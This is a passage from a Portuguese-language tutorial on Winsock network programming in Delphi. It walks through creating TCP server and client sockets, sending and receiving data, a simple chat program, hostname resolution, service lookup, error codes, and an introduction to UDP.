wsa: WSADATA;
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

end.
Temos nossa primeira variável:
var
wsa: WSADATA;
Uma variável do tipo WSADATA armazena informações sobre a inicialização do Winsock. Esta é passada como segundo argumento da função WSAStartup:
if(WSAStartup($101,wsa) = -1) then // Se ocorrer um erro
begin
writeln('Ocorreu um erro ao inicializar o Winsock.'); // Mostra mensagem
exit; // Encerra
end;
No trecho acima, tentamos inicializar a versão 1.1 do Winsock (o símbolo $ é utilizado para números hexadecimais. $101 = 257).

Veja a sintaxe:
WSAStartup(VERSÃO: WORD,var VARIÁVEL_WSA: WSADATA);

VERSÃO:
versão do winsock a ser inicializada;

VARIÁVEL_WSA:
variável do tipo WSADATA.

A função irá retornar o valor -1 se falhar. Do contrário, retornará ZERO.
A função WSAStartup(), na verdade, requer um ponteiro para uma variável do tipo WSADATA como segundo parâmetro, no entanto, só é necessário passar o nome da variável. Isso se explica devido à declaração do parâmetro:
var VARIÁVEL_WSA: WSADATA);
Quando temos "var" antes do parâmetro, significa que será passado o endereço (ponteiro) da variável, e não o seu valor =)

Muito bem, após inicializarmos o Winsock, podemos utilizar as funções contidas na Winsock API.

Temos agora que criar um socket:
program programa1;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
wsa: WSADATA;
sock: integer;
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

sock := socket(AF_INET,SOCK_STREAM,0);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao criar o socket.');
exit;
end;


end.
Temos mais uma variável declarada:
sock: integer;
Esta variável irá armazenar a identificação do nosso socket criado. Geralmente, ao invés do tipo Integer (inteiro), variáveis deste tipo são declaradas como SOCKET. Entretanto, "SOCKET" é apenas um "novo nome" para o tipo inteiro, ou seja, o tipo "SOCKET" é, na verdade, o tipo inteiro =)

Vejamos a criação do socket:
sock := socket(AF_INET,SOCK_STREAM,0);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao criar o socket.');
exit;
end;
O trecho acima tenta criar um socket para ser utilizado com o protocolo TCP. Isto é definido pelo segundo parâmetro: SOCK_STREAM.

Sintaxe:
sock := socket(FAMÍLIA: Integer,PROTOCOLO: Integer,TIPO: Integer);

sock:
variável do tipo inteiro que irá identificar o socket;

FAMÍLIA:
família do socket. Embora existam diversas constantes, use-se a AF_INET = INTERNET.

PROTOCOLO:
protocolo com o qual o socket irá trabalhar:

SOCK_STREAM = TCP
SOCK_DGRAM = UDP
SOCK_RAW = RAW

TIPO:
opcional, define opções relacionados ao tipo do protocolo:

IPPROTO_IP = protocolo IP;
IPPROTO_TCP = protocolo TCP;
IPPROTO_UDP = protocolo UDP;
IPPROTO_RAW = protocolo RAW;
IPPROTO_TCP = protocolo ICMP;

O parâmetro só é obrigatório quando estamos trabalhando com raw sockets, podendo ser passado como ZERO, caso contrário.

A função irá retornar o valor -1 se falhar. Do contrário, retornará ZERO.
Iremos começar pelo protocolo TCP por ser mais utilizado

Após termos criado o socket, iremos definir uma tarefa para este: atuar como cliente ou servidor.
Para tal, teremos que configurar este socket de acordo com uma estrutura denominada "SOCKADDR_IN".

Vamos começar definindo o socket para trabalhar com servidor:
program programa1;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
wsa: WSADATA;
sock: integer;
addr: sockaddr_in;
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

sock := socket(AF_INET,SOCK_STREAM,0);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao criar o socket.');
exit;
end;

addr.sin_family := AF_INET;
addr.sin_port := htons(1234);
addr.sin_addr.S_addr := INADDR_ANY;

if(bind(sock,addr,sizeof(addr)) = -1) then
begin
writeln('Ocorreu um erro ao configurar o socket.');
exit;
end;

if(listen(sock,1) = -1) then
begin
writeln('Ocorreu um erro ao colocar o socket na escuta.');
exit;
end;

sock := accept(sock,nil,nil);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao aceitar uma conexão.');
exit;
end;

writeln('Um cliente conectou-se!');
closesocket(sock);
WSACleanup();

end.
Antes de tudo, para configurarmos um socket, devemos declarar uma estrutura do tipo SOCKADDR_IN:
addr: sockaddr_in;
Vamos ver como o socket é configurado:
addr.sin_family := AF_INET; // Corresponde à família a qual o socket pertence
addr.sin_port := htons(1234); // Corresponde à porta na qual o socket irá aguardar conexões
addr.sin_addr.S_addr := INADDR_ANY; // Permite que o socket aceite conexão de qualquer host
Há dois detalhes que devem ser observados:
addr.sin_port := htons(1234); // Correto

O membro "sin_port", da estrutura "addr", é um inteiro de 2 bytes e requer um valor expresso em network byte. Para convertemos um valor para tal, utilizamos a função htons(). A forma abaixo estaria incorreta:
addr.sin_port := 1234; // INCORRETO =(
O membro "sin_addr" armazena o endereço IP do host remoto.
Este membro, na verdade, pertence a uma estrutura chamada "in_addr" que armazena endereços IP. Quando queremos transformar um IP para network byte, utilizamos a função inet_addr():
addr.sin_addr.S_addr := inet_addr('127.0.0.1'); // Transforma o IP 127.0.0.1 para network byte.
Se você observar bem, utilizamos um membro dentro desta estrutura: "S_addr". Note ainda que seria incorreto fazer:
addr.sin_addr := inet_addr('127.0.0.1'); // Errado ;(
Vamos ver o por quê.
addr -> estrutura sockaddr_in;
sin_addr -> estrutura in_addr dentro de "addr";
S_addr -> membro dentro de "sin_addr", um inteiro de 4 bytes.
A função "inet_addr()" retorna um valor inteiro (também de 4 bytes), expresso em network byte, de um respectivo endereço IP.

Quando tentamos fazer:
addr.sin_addr := inet_addr('127.0.0.1'); // Errado ;(
Estamos querendo atribuir um valor inteiro de 4 bytes de forma direta a uma estrutura, por isso ocorreria o erro.

Já no outro exemplo:
addr.sin_addr.S_addr := inet_addr('127.0.0.1'); // CERTO
O membro "S_addr" (dentro de "sin_addr") é um inteiro de 4 bytes e a função inet_addr() também retorna um inteiro de 4 bytes, por isso a atribuição é válida

É importante notar que só podemos utilizar a função inet_addr() com endereços IP:
addr.sin_addr.S_addr := inet_addr('www.google.com.br'); // INCORRETO!
Veremos como obter o endereço IP de um host pelo seu nome mais adiante.

Após configuramos o socket, devemos chamar a função bind() para prepará-lo no computador local, permitindo-o aguardar conexões:
if(bind(sock,addr,sizeof(addr)) = -1) then
begin
writeln('Ocorreu um erro ao configurar o socket.');
exit;
end;

Vejamos a sintaxe:
bind(sock: Integer; var addr: sockaddr_in; tamanho: Integer);

sock:
nome do nosso socket;

addr:
variável pertencente à estrutura "sockaddr_in";

tamanho:
tamanho da estrutura "sockaddr_in".

A função irá retornar o valor -1 se falhar. Do contrário, retornará ZERO.
Como já havia dito antes, um socket é identificado por uma variável do tipo inteiro. Isso pode ser constatado observando o tipo do primeiro parâmetro: "Integer"

Havia dito também que, quando temos "var" antes de um parâmetro, signfica que iremos passar o endereço de uma variável e não seu valor - é justamente o endereço da variável "addr" que temos que passar.

Veja que, para passar o tamanho da estrutura "sockaddr_in", utilizamos o operador sizeof(). Tanto faz escrever "sizeof(addr)" ou "sizeof(sockaddr_in)" - embora esta última forma seja mais adequada.

Após configurado localmente, podemos colocar o socket em modo de escuta:
if(listen(sock,1) = -1) then
begin
writeln('Ocorreu um erro ao colocar o socket na escuta.');
exit;
end;

No exemplo acima, fazemos com que o socket aguarde uma conexão na porta configurada previamente.

Vejamos a sintaxe da função:
listen(sock: Integer; num: Integer);

sock:
nome do nosso socket;

num:
número de conexões que podem ser aceitas;

Assim como as outras funções, se a função listen() tiver êxito, esta retorna ZERO, senão, -1 é retornado.
O trecho abaixo faz com que o programa fique aguardando até que um pedido de conexão seja feito:
sock := accept(sock,nil,nil);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao aceitar uma conexão.');
exit;
end;

Se, após recebido o pedido de conexão, o valor retornado for -1, é sinal que houve um erro ao aceitar esta conexão.

Veja a sintaxe:
novo_sock := accept(sock: Integer; var pt_addr: PSOCKADDR; pt_tamanho: PInteger);

novo_sock:
uma nova variável (inteiro) que irá armazenar a identificação do novo socket; se o nome do próprio socket for utilizado, não será possível aceitar novas conexões;

sock:
nome do nosso socket;

pt_addr:
ponteiro para uma variável do tipo "SOCKADDR" que irá armazenar informações sobre o cliente que se conectou;

tamanho:
ponteiro para uma variável do tipo inteiro que armazena o tamanho da estrutura "SOCKADDR";

A função irá retornar o valor -1 se falhar. Do contrário, retornará ZERO.
No nosso exemplo, usamos:
sock := accept(sock,nil,nil);
No caso, a variável "sock" será utilizada para armazenar a identificação do novo socket após um pedido de conexão ter sido feito. Observe que, como não iremos armazenar informações sobre o cliente, passamos os dois últimos argumentos como NULOS, isto é, passando o ponteiro nulo: "nil".

Vejamos agora:
closesocket(sock);
WSACleanup();
São duas funções ainda não vistas anteriormente. Utiliza-se a função closesocket() para fechar um socket após seu uso e WSACleanup() para finalizar o uso do Winsock.

Sintaxe:
closesocket(sock);

sock:
nome do socket.
A função WSACleanup() não possui parâmetros.

Mais adiante, quando abordaremos algumas funções, veremos como obter informações do cliente conectado.

No exemplo acima, criamos um socket para atuar com servidor. A seguir, iremos criar um socket para atuar como cliente:
program programa2;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
wsa: WSADATA;
sock: integer;
addr: sockaddr_in;
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

sock := socket(AF_INET,SOCK_STREAM,0);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao criar o socket.');
exit;
end;

addr.sin_family := AF_INET;
addr.sin_port := htons(1234);
addr.sin_addr.S_addr := inet_addr('127.0.0.1');

if(connect(sock,addr,sizeof(addr)) = -1) then
begin
writeln('Ocorreu um erro ao conectar-se.');
exit;
end;

writeln('Conectado!');
closesocket(sock);
WSACleanup();

end.
Como você pode observar, o código necessário para tal é bem menor
Vejamos as diferenças:
addr.sin_addr.S_addr := inet_addr('127.0.0.1');
A linha acima configura o socket para se conectar no IP "127.0.0.1".

Em seguida, fazemos com que o socket tente conectar-se:
if(connect(sock,addr,sizeof(addr)) = -1) then
begin
writeln('Ocorreu um erro ao conectar-se.');
exit;
end;
A sintaxe da função connect() é similar à da função bind() - que não é necessária quando estamos trabalhando com um socket cliente - veja:
connect(sock: Integer; var addr: sockaddr_in; tamanho: Integer);

sock:
nome do nosso socket;

addr:
variável pertencente à estrutura "sockaddr_in";

tamanho:
tamanho da estrutura "sockaddr_in".

A função irá retornar o valor -1 se falhar. Do contrário, retornará ZERO.
Novamente, fechamos o socket e finalizamos o winsock (respectivamente):
closesocket(sock);
WSACleanup();
O próximo passo é trabalhar com o envio e recebimento de dados através do socket. Quando estamos trabalhando com o protocolo TCP, utilizamos as funções recv() e send(), respectivamente:

Enviando dados:
var
buffer: array[0..99] of char;

begin

buffer := 'Apenas um exemplo!';
send(sock,buffer,strlen(buffer),0);

end.
No exemplo acima, declaramos um array de caracteres (uma string em C) com capacidade de armazenar 100 elementos, isto é, 100 caracteres: buffer.

Escrevemos "Apenas um exemplo!" neste array e o enviamos.

A sintaxe é:
send(sock: Integer; var Buf; tam_buffer: Integer; Flags: Integer);

sock:
nome do nosso socket;

Buf:
array de caracteres ou um ponteiro para char que contém os dados que serão enviados;

tam_buffer:
número de bytes que serão enviados;

flags:
valores opcionais que especificam o modo de envio.

A função, em situação normal, retorna o número de bytes enviados. Se algum erro ocorrer, a função retorna -1.
Note que utilizamos a função "strlen()" para retornar o tamanho do buffer: strlen(buffer);


Recebendo dados:
var
buffer: array[0..99] of char;

begin
ZeroMemory(@buffer,100); // Limpa o buffer, é necessário incluir "Windows" na clásula "Uses".
recv(sock,buffer,100,0);
end.
A sintaxe é:
recv(sock: Integer; var Buf; tam_buffer: Integer; Flags: Integer);

sock:
nome do nosso socket;

Buf:
buffer que irá armazenar os dados recebidos;

tam_buffer:
tamanho do buffer;

flags:
valores opcionais que especificam o modo de recebimento.

A função, em situação normal, retorna o número de bytes recebidos. Se algum erro ocorrer, a função retorna -1.


Vejamos um exemplo:


servidor:
program servidor;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock, Windows; // Windows -> para usar ZeroMemory()

var
wsa: WSADATA;
sock: integer;
addr: sockaddr_in;
buffer: array[0..100] of char; // Buffer para enviar/receber dados
envia: string; // Armazenar uma string digitada
bytes: integer; // Número de bytes recebidos
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

sock := socket(AF_INET,SOCK_STREAM,0);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao criar o socket.');
exit;
end;

addr.sin_family := AF_INET;
addr.sin_port := htons(1234);
addr.sin_addr.S_addr := INADDR_ANY;

if(bind(sock,addr,sizeof(addr)) = -1) then
begin
writeln('Ocorreu um erro ao configurar o socket.');
exit;
end;

if(listen(sock,1) = -1) then
begin
writeln('Ocorreu um erro ao colocar o socket na escuta.');
exit;
end;

sock := accept(sock,nil,nil);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao aceitar uma conexão.');
exit;
end;

bytes := 0; // 0 byte recebido

while(bytes <> -1) do // Enquanto o número de bytes retornando for diferente de -1 = conectado
begin
ZeroMemory(@buffer,100); // Zera buffer
recv(sock,buffer,100,0); // Recebe dados do cliente
writeln(buffer); // Mostra-os
ZeroMemory(@buffer,100); // Limpa o buffer novamente
readln(envia); // Lê uma string
StrLCopy(buffer,PChar(envia),100); // Copia até 100 caracteres para o buffer
send(sock,buffer,strlen(buffer),0); // Envia os dados
end;

// Encerra
closesocket(sock);
WSACleanup();

end.


cliente:
program cliente;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock, Windows; // Windows -> para usar ZeroMemory()

var
wsa: WSADATA;
sock: integer;
addr: sockaddr_in;
buffer: array[0..100] of char; // Buffer para enviar/receber dados
envia: string; // Armazenar uma string digitada
bytes: integer; // Número de bytes recebidos
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

sock := socket(AF_INET,SOCK_STREAM,0);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao criar o socket.');
exit;
end;

addr.sin_family := AF_INET;
addr.sin_port := htons(1234);
addr.sin_addr.S_addr := inet_addr('127.0.0.1');

if(connect(sock,addr,sizeof(addr)) = -1) then
begin
writeln('Ocorreu um erro ao conectar-se.');
exit;
end;

bytes := 0; // 0 byte recebido

while(bytes <> -1) do // Enquanto o número de bytes retornando for diferente de -1 = conectado
begin
ZeroMemory(@buffer,100); // Limpa o buffer
readln(envia); // Lê uma string
StrLCopy(buffer,PChar(envia),100); // Copia até 100 caracteres para o buffer
send(sock,buffer,strlen(buffer),0); // Envia os dados
ZeroMemory(@buffer,100); // Limpa o buffer novamente
recv(sock,buffer,100,0); // Recebe dados do cliente
writeln(buffer); // Mostra-os
end;

// Encerra
closesocket(sock);
WSACleanup();

closesocket(sock);
WSACleanup();

end.
O programa acima é o clássico chat cliente-servidor. Geralmente, exemplos como este são apresentados quando estamos estudando sockets

Veremos agora duas funções para trabalharmos com endereços IP e hostname's:

1) gethostbyname()

Vamos retomar:
addr.sin_addr.S_addr := inet_addr('www.google.com.br'); // INCORRETO!
Ocorreria um erro acima pois "www.google.com.br" não é um endereço IP, e sim um hostname.
Antes de podermos configurar o socket para se conectar neste host, devemos obter o seu IP utilizando a função gethostbyname():
var
...
host: PHostEnt; // PHostEnt = ponteiro para a estrutura hostent
addr: sockaddr_in;
begin
...
host := gethostbyname('www.google.com.br');
if(host = nil) then
writeln('Erro ao resolver o host!')
else
addr.sin_addr := PInAddr(host.h_addr^)^;
Declaramos um ponteiro para a estrutura "hostent" que irá armazenar as informações sobre o computador remoto: "host".

A função retorna um ponteiro nulo (nil) caso não consiga resolver o hostname. O endereço deste host é armazenando no membro "h_addr" desta estrutura, expresso em network byte.

Veja:
addr.sin_addr := PInAddr(host.h_addr^)^;
A linha acima parece ser um pouco complicada, mas não é . Sabemos que "host" é um ponteiro para a estrutura "hostent". O membro "host.h_addr" é um ponteiro para CHAR que aponta para o endereço IP do host, expresso em network byte.

Para acessar o valor de um membro apontado por um pointeiro, fazemos:
ponteiro.membro^ que equivale a host.h_addr^; // retorna o endereço apontado pelo membro "h_addr";
No caso acima, como o membro "h_addr" é um ponteiro e não uma simples variável, o seu valor é o endereço para onde ele aponta.

PInAddr é um ponteiro global para a estrutura "in_addr"(mesmo tipo do membro "sin_addr").

Quando temos "PInAddr(host.h_addr^)", estamos fazendo com que o ponteiro "PInAddr" aponte para o mesmo endereço que "host.h_addr" aponta, isto é, aquele endereço que armazena o endereço IP do host. A diferença é que o valor deste endereço será obtido como próprio para a estrutura "in_addr" e não mais como "CHAR".

Até aí, temos:
addr.sin_addr = ENDEREÇO apontado por "host.h_addr" já obtido como "in_addr";
No entanto, "sin_addr" requer um valor "in_addr" e não um ponteiro, por isso fazemos:
PInAddr(host.h_addr^)^; // Valor "in_addr" do endereço apontado
Portanto, quando temos:
addr.sin_addr := PInAddr(host.h_addr^)^;
Estamos atribuindo ao membro "sin_addr" o valor apontado pelo membro "host.h_addr" convertido para "in_addr".

Para compreender melhor o processo, é recomendável o estudo de ponteiros


2) inet_ntoa()

Com esta função, podemos transformar um IP expresso em network byte para string. Esta função faz o processo inverso da função inet_addr().

Veja:
var
...
addr: sockaddr_in;
begin
...
addr.sin_addr.S_addr = inet_addr("127.0.0.1"); // Converte o IP de string para network byte
writeln('O IP e: ' + inet_ntoa(addr.sin_addr)); // Converte de network byte para string
É importante notar que, para utilizar a função inet_ntoa(), devemos passar um valor do tipo "in_addr" como parâmetro.

Veja outro exemplo:
var
...
host: PHostEnt; // PHostEnt = ponteiro para a estrutura hostent
addr: sockaddr_in;
begin
...
host := gethostbyname('www.google.com.br');
if(host = nil) then
writeln('Erro ao resolver o host!')
else
writeln('O IP e: ' + inet_ntoa(PInAddr(host.h_addr^)^));
No exemplo acima, tentamos resolver o host "www.google.com.br" e mostrar o seu respectivo IP. Como vimos anteriormente, a expressão "PInAddr(host.h_addr^)^" retorna o endereço IP de um host como valor "in_addr" - justamente o tipo de valor requirido pela função inet_ntoa().

FIM da primeira parte
Na continuação do artigo, veremos melhor como trabalhar com a função gethostbyname() e outras funções. Veremos ainda o uso do protocolo UDP.

Pois bem, continuemos com o nosso artigo.

Abaixo segue uma pequena lista de aspectos abordados no artigo anterior:

1) Vimos o que é necessário para trabalhar com a API do Winsock (WSA) no Delphi;

2) Foram mostrados os passos que devem ser seguidos para criar um socket simples, abordando, exclusivamene, o protocolo TCP;

3) Ainda com base no protocolo TCP, foram ilustrados exemplos de um programa que atuava como cliente e um outro servidor;

4) Utilizando as funções send() e recv(), aprendemos a como enviar e receber dados, respectivamente através de um socket;

5) Algumas noções de variáveis, estruturas, funções e conversões;

Neste último item, ficou pendente a explicação do uso de função gethostbyname() aplicada em outras situações, além de outras funções do ramo, como getservbyport(), que também será aborda nesta parte do artigo.

Para começar, vamos retomar o último exemplo da primeira parte do tutorial:
var
...
host: PHostEnt; // PHostEnt = ponteiro para a estrutura hostent
addr: sockaddr_in;
begin
...
host := gethostbyname('www.google.com.br');
if(host = nil) then
writeln('Erro ao resolver o host!')
else
writeln('O IP e: ' + inet_ntoa(PInAddr(host.h_addr^)^));

No exemplo acima, tentamos resolver o host "www.google.com.br" e mostrar o seu respectivo IP. Como vimos anteriormente, a expressão "PInAddr(host.h_addr^)^" retorna o endereço IP de um host como valor "in_addr" - justamente o tipo de valor requirido pela função inet_ntoa().

Como se sabe, devemos especificar dados sobre um host remoto para que seja possível uma conexão entre o computador local e este. Sabemos ainda que, para tanto, devemos utilizar uma estrutura denominada "sockaddr_in", que contém três principais membros:
sin_family -> indica a família do socket;
sin_port -> indica a porta na qual o socket irá atuar;
sin_addr -> indica o endereço utilizado pelo socket, seja este local ou remoto;

Dando ênfase ao último, sabemos que o utilizamos quando queremos, por exemplo, estabelecer uma conexão entre o computador local e um outro remoto cujo IP é 200.123.123.123:
addr.sin_addr.S_addr = inet_addr('200.123.123.123');

Como se sabe, com o auxílio da função inet_addr(), podemos converter um endereço IP escrito na forma de string ('200.123.123.123') para seu valor correspondente na forma in_addr (network byte) que é a adequada.

Existem casos, no entanto, em que não sabemos o endereço IP do computador remoto, e pior ainda: às vezes, até sabemos, entretanto, este IP pode ser dinâmico, isto é, não-fixo. Em situações assim, se tivéssimos que tomar como base apenas o endereço IP de hosts remotos, teríamos grande dificuldades de comunicação. Felizmente, podemos utlizar o "hostname" de um computador como referência, dessa forma, não importa qual endereço IP que este computador esteja utlizando, pois, ao contrário de endereços IPs, o hostname é fixo, ou seja, mesmo que o endereço IP de um servidor seja alterado, através do seu hostname podemos acessá-lo.

Mas a questão é: como aplicar isso em nossos programas? É para responder a essa pergunta que este artigo foi começado com último exemplo da parte 1 do tutorial xD

Vamos fazer uma análise rápida no seguinte trecho:
var
wsa: WSADATA; // Para inicializar o winsock
host: PHostEnt; // PHostEnt = ponteiro para a estrutura hostent
begin

if(WSAStartup($101,wsa) = -1) then
exit; // Encerra se falhar
host := gethostbyname('www.google.com.br');
end.

É um exemplo um pouco que repetitivo, eu diria. Mas continuemos:
var
wsa: WSADATA;
host: PHostEnt; // PHostEnt = ponteiro para a estrutura hostent
begin

if(WSAStartup($101,wsa) = -1) then
exit;

host := gethostbyname('www.google.com.br');
if(host = nil) then
// Erro
else
// Host resolvido com sucesso xD
end.


Quando a função gethostbyname() falha em resolver um hostname, um ponteiro nulo (nil) é retornado. Fazemos o tratamento de erros com base nessa propriedade.
var
wsa: WSADATA;
host: PHostEnt; // PHostEnt = ponteiro para a estrutura hostent
addr: sockaddr_in; // Uma estrutura do tipo sockaddr_in
begin
if(WSAStartup($101,wsa) = -1) then
exit;

host := gethostbyname('www.google.com.br');
if(host = nil) then
exit // Encerra se falhar
else
addr.sin_addr := PInAddr(host.h_addr^)^;

end.


Com base no código acima, você consegue responder a questão inicial xD ?

O que exatamente ocorre é que, ao utilizar a função gethostbyname() passando como parâmetro o hostname 'www.google.com.br', esta função tentará resolver este hostname, isto é, obter seu endereço IP, seu nome oficial, dentre outros dados. Como vimos na parte anterior do texto (e no início desta), a combinação PInAddr(host.h_addr^)^ nos retorna o endereço IP de um host já convertido para "in_addr" que nos possibilita usá-lo como valor para o membro "sin_addr" da estrutura "sockaddr_in".

A partir deste ponto, já se pode utilizar a função connect(), por exemplo, para criar uma conexão com o computador cujo hostname utlizamos.

Veja o exemplo:
program exemplo;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
wsa: WSADATA;
sock: integer;
addr: sockaddr_in;
host: PHostEnt;
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

sock := socket(AF_INET,SOCK_STREAM,0);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao criar o socket.');
exit;
end;

host := gethostbyname('www.google.com.br');
if(host = nil) then
begin
writeln('Ocorreu um erro ao resolver o hostname.');
exit;
end;

addr.sin_family := AF_INET;
addr.sin_port := htons(80);
addr.sin_addr := PInAddr(host.h_addr^)^;

if(connect(sock,addr,sizeof(addr)) = -1) then
begin
writeln('Erro ao se conectar.');
exit;
end
else
begin
writeln('Conectado xD');
closesocket(sock);
end;

WSACleanup();
end.


Um exemplo bem simples. Tentamos resolver o hostname 'www.google.com.br' e, posteriormente, utilizamos a função connect() para que o programa tente conectar-se ao host pela porta 80. Se a conexão falhar, o programa simplesmente encerra, do contrário, uma mensagem avisa que a conexão foi feita com sucesso e o socket é fechado logo em seguida.

Uma outra função muito interessante existente na API do Winsock é a getservbyport(). Com esta função, podemos obter o serviço associado a uma determinada porta, como por exemplo, o serviço HTTP que geralmente roda sob a porta 80.

Vejamos um exemplo de uso:
program exemplo;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
wsa: WSADATA;
serv: PServEnt; // Ponteiro para a estrutura servent
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

serv := getservbyport(htons(80),'tcp'); // Tenta obter o servico associado à porta 80 tcp
if(serv = nil) then // Falha ao obter
writeln('Servico desconhecido')
else
writeln('Servico: ' + serv.s_name); // Imprime o nome do serviço

WSACleanup();
end.


Neste exemplo, tentamos obter o nome do serviço associado à porta 80 sob o protocolo TCP. Para tal, usamos a função getservbyport(), cuja sintaxe simpificada é:
getservbyname (porta_em_network_byte,protocolo_string);

porta_em_network_byte:
é a porta utilizada pelo serviço que queremos obter, convertida para network byte (htons());

protocolo_string:
é o protocolo sob o qual o serviço atua;


Geralmente, quando a função retorna um ponteiro nulo, é porque não foi encontrado um serviço associado à porta especificada. No entanto, a função também pode retornar este tipo de ponteiro mesmo que o serviço exista. Veja como isso é possível:
program exemplo;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
wsa: WSADATA;
serv: PServEnt;
begin

{

Comentamos esta parte do código responsável pela inicialização do Winsock;

Como se sabe, sem esta inicialização prévia, todas as outras funções
dependentes retornarão em erro, assim como getservbyname()

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;
}

serv := getservbyport(htons(80),'tcp');
if (serv = nil) then
writeln('Servico desconhecido.')
else
writeln('Servico: ' + serv.s_name);

WSACleanup();
end.

Provalmente, ao executar o primeiro código, a saída do programa deveria ter sido:
Servico: http

E neste último, a saída seria:
Servico desconhecido

Como se vê no código, o programa não chama pela função WSAStartup() e, por esta razão, a função getservbyname() retornou em erro. Se, por algum motivo, o código fosse aplicado em um programa, o bug estaria evidenciado.

Para resolver este impasse, podemos utitilizar uma função muito útil: WSAGetLastError(), que nos retorna um inteiro (integer) com último código de erro ocorrido no uso do winsock.

Veja:
program exemplo;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
wsa: WSADATA;
serv: PServEnt;
begin

{

Comentamos esta parte do código responsável pela inicialização
do Winsock;

Como se sabe, sem esta inicialização prévia, todas as outras funçõa
dependentes retoraram em erro, assim como getservbyname()

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;
}

serv := getservbyport(htons(80),'tcp');

if (serv = nil) and (WSAGetLastError() = 0) then
writeln('Servico desconhecido.')

else if(serv = nil) and (WSAGetLastError() <> 0) then
begin
writeln('Erro na funcao getservbyport(). ID: ' + IntToStr(WSAGetLastError()));
exit
end

else writeln('Servico: ' + serv.s_name);

WSACleanup();
end.


Agora, o programa não mais mostra que o serviço é desconhecido, mas sim que um erro ocorreu e a ID deste erro. Quando a função WSAGetLastError() retorna ZERO, é sinal que nenhum erro ocorreu até o ponto em que foi chamada. Então, a lógica seria:
Se "serv" = nil e "WSALastError()" = 0 -> não ocorreram erros no winsock, no entanto, a função getservbyport() não conseguiu obter o serviço;

Se "serv" = nil e "WSALastError" não for ZERO, ocorreu um erro no uso do Winsock;

Se "serv' não retornar um ponteiro nulo, o serviço foi obtido com sucesso.


No exemplo, foram utilizados if, elseif e else, mas você pode reorganizar a lógica tornando o código mais legível e bonito xD

Uma curiosidade: existe um arquivo no qual existem todos os serviços/portas reconhecidos pelo sistema. Este arquivo é acessado pela função getservbyport() para nos retornar um serviço desejado. No Windows, sua localização é:

C:\WINDOWS\SYSTEM32\Drivers\etc\services.

Ainda falando sobre erros gerados durante o uso do winsock, a função WSAGetLastError() possui uma outra oposta: WSASetLastError. Esta última, por sua vez, é utilizada para definir a ID do último erro ocorrido. Exemplo:
WSASetLastError(0);

Na linha acima, simplesmente zeramos o status de erro. No final desta página, postarei uma tabela contendo os principais códigos de erro, suas constantes e seus respectivos significados.

Voltando a falar um pouco sobre hostname's. Existe um endereço denominado loopback, que é o próprio endereço da máquina local, geralmente atribuído ao hostname "localhost". No entanto, podemos ter um nome alternativo para esse endereço, como por exemplo, o nome da máquina. É possível obter este nome através de uma função bem simples: gethostname(). Veja:
program exemplo;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
wsa: WSADATA;
nome_local: array[0..99] of char;
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

if(gethostname(nome_local,100) = 0) then
writeln('Host Name local: ' + nome_local)
else
writeln('Erro ao obter o hostname local.');

WSACleanup();
end.

Observe que declaramos o array de char "nome_local" de 100 caracteres. É neste buffer em que o hostname local do computador será armazenado. A sintaxe da função é:
gethostname(buffer,tamanho);
buffer:
é um array de char no qual o hostname local será armazenado;
tamanho:
é o tamanho do buffer em bytes

Se a função falhar, o valor retornado é -1; em caso de êxito, a função retornará ZERO.


Muito bem. Vamos abordar o uso do protocolo UDP através do winsock. Porém, antes de fazê-lo, vejamos algumas diferenças básica entre os protocolo TCP e este último:

Protocolo TCP

1) É um protocolo orientado a conexão, isto é, um fluxo de dados entre cliente/servidor só poderá ser feito caso haja uma conexão entre estes dois hosts;

2) Por retransmitir pacotes de dados perdidos, é considerado um protocolo confiável no aspecto de entrega/recibo de dados;

3) Como conseqüência das duas características acima, o protocolo TCP é mais lento do que o UDP


Protocolo UDP

1) Não é orientado a conexão, ou seja, são somente necessárias as informações de porta/endereço remoto para que dados possam ser enviados/recebidos

2) Por não ser um protocolo dependente de conexão, não há garantia de entrega de um determinado pacote enviado (ao contrário do TCP) o que torna o protocolo não-confiável.

3) Em contra-partida, o protocolo é mais rápido do que o TCP quando se trata de fluxo de dados.

